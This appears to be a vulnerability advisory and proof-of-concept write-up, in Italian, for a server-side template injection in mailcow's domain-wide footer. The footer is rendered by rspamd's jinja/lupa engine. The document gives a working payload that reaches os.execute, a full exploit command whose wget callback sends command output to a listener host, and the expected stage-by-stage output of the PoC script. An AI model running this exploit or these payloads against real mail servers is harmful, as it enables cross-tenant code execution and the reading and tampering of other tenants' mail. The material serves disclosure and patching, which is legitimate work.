PoC in Python per CVE-2026-125757: sfrutta la SSTI del footer a livello di dominio di mailcow nel motore jinja/lupa di rspamd per ottenere RCE cieco tra tenant tramite SMTP autenticato.
Un amministratore di dominio può memorizzare un footer a livello di dominio il cui HTML viene conservato verbatim e successivamente renderizzato dal motore jinja/lupa di rspamd al successivo messaggio in uscita autenticato del dominio. Un valore predefinito di una macro jinja nel footer viene compilato da lupa con load('return '..default) senza l'ambiente sandbox, quindi viene eseguito nei globali LuaJIT reali di rspamd dove os.execute è raggiungibile — esecuzione arbitraria di comandi, non espansione di stringhe. rspamd è un singolo container condiviso da tutti i tenant, quindi un singolo amministratore di dominio raggiunge la posta in transito di tutti i tenant e la piattaforma di filtraggio nel suo complesso.
| Affected | mailcow/mailcow-dockerized < 2026-11 (master @ 55982ac74bfd35581cc44b122ab5fc659e3ae90a; rspamd 4.2.1-1) |
| Fixed | >= 2026-11 (footer renderizzato con sostituzione di sole variabili, nessuna sintassi di controllo dei template) |
| Prerequisites | domain-admin di ≥1 dominio, che agisce nella propria sessione autenticata; un messaggio in uscita autenticato per l'attivazione. Nessun admin globale, accesso all'host o posizione di rete |
| Impact | RCE nel container rspamd condiviso → lettura/modifica/iniezione della posta di ogni tenant, disattivazione del filtraggio spam/AV a livello di piattaforma, accesso al redis di rspamd; DoS cross-container tramite MC_CHANNEL. |
| Severity | CVSS 3.1 = 9.1 (Critical) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-1336 |
Il footer viene memorizzato verbatim dietro un unico controllo di ambito del tenant e passato, senza modifiche, a un motore di template:
// src/data/web/inc/functions.mailbox.inc.php — case 'domain_wide_footer'
$footer_html = $attr['html']; // :4187 stored verbatim, no template sanitisation
... hasDomainAccess($_SESSION['...'], $domain) ... // :4251 only gate (tenant scope)
INSERT INTO domain_footer (html, plain, ...) ... // :4263
// reached unauthenticated-to-the-sink via: POST /api/v1/edit/domain/footer
-- src/data/conf/rspamd/rspamd.local.lua — MOO_FOOTER prefilter renders the stored footer
lua_util.jinja_template(footer.html, ...) -- :847 (and footer.plain :850) [feed: dynmaps/footer.php]
-- contrib/lua-lupa/lupa.lua — a macro default value is compiled OUTSIDE the sandbox env
load('return ' .. default) -- :487 -> runs in real _G; os.execute reachable
-- :554 {% filter %} params share the same path
Un footer del tipo {% macro p(a=os.execute("<cmd>")) %}{% endmacro %}footer esegue quindi <cmd> all'interno del container rspamd quando MOO_FOOTER lo renderizza. Il footer viene renderizzato sia per la parte HTML sia per quella plain, quindi il comando viene eseguito a ogni messaggio in uscita autenticato del dominio.
CVE-2026-125757.py (solo libreria standard, Python 3.8+) percorre l'intera catena e stampa ogni fase — login → creazione di una casella temporanea → inserimento del payload nel footer → attivazione via SMTP → verifica → pulizia. Il comando viene eseguito alla cieca (nessuno stdout viene restituito via SMTP), quindi punta --cmd verso un listener out-of-band che controlli.
# on your host, start a listener first: python3 -m http.server 8000
# blind RCE, confirmed by the callback (base64 so `id` output survives the URL path):
python3 CVE-2026-125757.py --url https://mail.example --username da_a --password 'PW' \
--domain tenanta.test --cmd 'wget -qO- http://10.0.0.1:8000/$( id | base64 -w0 )'
Output atteso:
[1/5] login as domain admin 'da_a' ............. ok
[2/5] create throwaway mailbox ................. ok ([email protected])
[3/5] plant SSTI footer payload ................ ok
[4/5] trigger: send authenticated mail (SMTP 587) ... ok (4.2s)
[5/5] verify execution ......................... ok
[+] PAYLOAD DELIVERED: footer rendered, os.execute('wget ...') ran in rspamd
Blind RCE (no stdout over SMTP) - confirm on your out-of-band listener
[*] cleanup: reset footer ...................... ok
[*] cleanup: delete mailbox .................... ok ([email protected])